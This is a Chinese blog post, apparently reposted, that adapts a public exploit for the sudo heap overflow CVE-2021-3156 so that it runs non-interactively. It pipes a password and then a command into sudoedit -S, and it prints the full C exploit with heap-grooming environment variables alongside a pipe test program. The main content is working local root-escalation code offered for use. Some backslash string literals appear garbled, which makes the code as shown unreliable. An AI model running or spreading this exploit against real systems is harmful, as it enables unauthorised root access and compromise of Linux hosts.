CVE-2021-3156 - Exploit修改
2021-02-09 01:00:00 Author: payloads.online(查看原文) 阅读量:139 收藏

New-Exploit : https://github.com/Rvn0xsy/CVE-2021-3156-plus

0x01 为什么要修改?

本人不擅长二进制,但是看了一下网上公开的Exploit,都需要输入一次密码才能够利用这个漏洞,还是不满足于一些实战场景,如果获得不到交互式Shell,那么用原有的Exploit就不能利用了。

0x02 Linux 管道符

在Linux中有多种办法可以在Shell中使用管道符,跳过交互输入,如修改一个用户的密码:

echo "new-pass" | passwd --stdin username

该命令只适用于旧版,不建议在命令行中传递明文密码

于是我查看了sudoedit的帮助参数:

2021-02-10-02-34-34

设置-S参数,可以直接通过管道符传递密码,那么也就是说,给Exploit增加这么一个参数就能在提权的时候不需要输入密码了,从而跳过交互,但前提还是需要用C语言模拟这个管道传递字符。

0x03 Exploit分析

本文修改的提权Exploit 溢出点主要是在环境变量中,通过调用execve触发。

#include <unistd.h>
int execve(const char *pathname, char *const argv[],char *const envp[]);

2021-02-10-02-44-51

在21行传入了argv,可以将这个数组添加一个元素,也就是等同于添加一个命令行参数:

char* sudoedit_argv[] = {
    "sudoedit",
    "-S", // --stdin 非交互式
    "-s",
    buf,
    NULL};

紧接着,需要思考如何传入密码了。

经过测试,即使密码错误的情况下,也能够提权成功。

经过查阅资料,关于execve的特点如下:

execve创建的进程将会重新初始化堆栈、堆和(初始化和未初始化的)数据段。

All process attributes are preserved during an execve(), except the following:

  • The dispositions of any signals that are being caught are reset to the default (signal(7)).
  • Any alternate signal stack is not preserved (sigaltstack(2)).
  • Memory mappings are not preserved (mmap(2)).
  • Attached System V shared memory segments are detached (shmat(2)).
  • POSIX shared memory regions are unmapped (shm_open(3)).
  • Open POSIX message queue descriptors are closed(mq_overview(7)).
  • Any open POSIX named semaphores are closed (sem_overview(7)).
  • POSIX timers are not preserved (timer_create(2)).
  • Any open directory streams are closed (opendir(3)).
  • Memory locks are not preserved (mlock(2), mlockall(2)).
  • Exit handlers are not preserved (atexit(3), on_exit(3)).
  • The floating-point environment is reset to the default (see fenv(3)).
  • ….

这就意味着,在调用execve之前向stdin写入数据,创建后的进程也是读不到的。

于是我写了一个小例子来测验我的解决办法:

#include <unistd.h>
#include <stdlib.h>


int main(int argc, char** argv)
{
        int des_p[2];
        if(pipe(des_p) == -1) {
          perror("Pipe failed");
          exit(1);
        }

        if(fork() == 0)  // 创建一个子进程向stdout管道填入数据
        {
            close(STDOUT_FILENO);  // 关闭系统输出流
            dup(des_p[1]);         // 将系统输出流替换为管道
            close(des_p[0]);       // 关闭输入管道
            char * password = "test\r\n1111"; // 设置管道内容
            write(des_p[1],password, strlen(password)); // 将内容写到输出管道中
            close(des_p[1]); // 关闭输出管道
        }

        if(fork() == 0)            // 创建一个子进程
        {
            close(STDIN_FILENO);   // 关闭系统输入流
            dup(des_p[0]);         // 将系统输入流替换为输入管道
            close(des_p[1]);       //  关闭输出管道
            close(des_p[0]);     // 关闭输入管道

            const char* prog2[] = { "wc", "-l", 0}; // 执行wc -l 
            execvp(prog2[0], prog2);
            perror("execvp of wc failed");
            exit(1);
        }

        close(des_p[0]);
        close(des_p[1]);
        wait(0);
        wait(0);
        return 0;
}

2021-02-10-03-10-12

测试结果正确:2!

stdin的值为:test\r\n1111,wc -l 命令读取是以\n为每一项分割的,因此返回的是2。

这个方案可以直接拿到Exploit中,将stdin覆盖,向管道写入密码\n命令,然后把命令传入即可。

为什么这里是密码\n命令呢?

是因为第一个\n是为了结束密码的传递,然后开始堆溢出,溢出完成后,后续的命令刚好会传入到Shellcode启动的/bin/sh中。

2021-02-10-03-13-24

修改后的Exploit:

#include <unistd.h> // execve()
#include <string.h> // strcat()
#include <stdio.h>

int main(int argc, char * argv[]) {

    if(argc < 2){
        printf("Usage: %s <Command> \n",argv[0]);
        printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
        printf("[+]Modify by Rvn0xsy@ https://payloads.online\n");	
        return 0;
    }
    char * input_command = argv[1];
    int nSize = strlen(input_command)+6;
    
    char * command = malloc(nSize);
    memset(command,0x00,nSize);
    sprintf(command,"test\n\n%s\n",input_command);
    // 'buf' size determines size of overflowing chunk.
    // This will allocate an 0xf0-sized chunk before the target service_user struct.
    int i;
    char buf[0xf0] = {0};
    memset(buf, 'Y', 0xe0);
    strcat(buf, "\");

    char* sudoedit_argv[] = {
        "sudoedit",
	    "-S",
        "-s",
        buf,
        NULL};

    // Use some LC_ vars for heap Feng-Shui.
    // This should allocate the target service_user struct in the path of the overflow.
    char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    memset(messages + strlen(messages), 'A', 0xb8);

    char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
    memset(telephone + strlen(telephone), 'A', 0x28);

    char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
    memset(measurement + strlen(measurement), 'A', 0x28);

    // This environment variable will be copied onto the heap after the overflowing chunk.
    // Use it to bridge the gap between the overflow and the target service_user struct.
    char overflow[0x500] = {0};
    memset(overflow, 'X', 0x4cf);
    strcat(overflow, "\");

    // Overwrite the 'files' service_user struct's name with the path of our shellcode library.
    // The backslashes write nulls which are needed to dodge a couple of crashes.
    char* envp[] = {
        overflow,
        "\", "\", "\", "\", "\", "\", "\", "\",
        "XXXXXXX\",
        "\", "\", "\", "\", "\", "\", "\", "\",
        "\", "\", "\", "\", "\", "\", "\",
        "x/x\",
        "Z",
        messages,
        telephone,
        measurement,
        NULL};

	int des_p[2];
	if(pipe(des_p) == -1){

		puts("Error .. pipe \n");
		return -1;
	}
	
	if(fork() == 0)   
        {
            close(STDOUT_FILENO);
            dup(des_p[1]);  
            close(des_p[0]); 
	    write(des_p[1],command, strlen(command));
            close(des_p[1]);
	    exit(1);
        }

	if(fork()==0){
		close(STDIN_FILENO); 
		dup(des_p[0]);  
		close(des_p[1]); 
		close(des_p[0]);
		
		execve("/usr/bin/sudoedit", sudoedit_argv, envp);
		perror("execvp of stdread failed");
		exit(1);
	}
	close(des_p[0]);
	close(des_p[1]);
	wait(0);
	wait(0);
}

0x03 演示效果

Usage: ./exploit <Command> 
[+]Refrence : @Qualys Research Team @Max Kamper 
[+]Modify by Rvn0xsy@ https://payloads.online

2021-02-10-03-18-26


文章来源: https://payloads.online/archivers/2021-02-09/1
如有侵权请联系:admin#unsafe.sh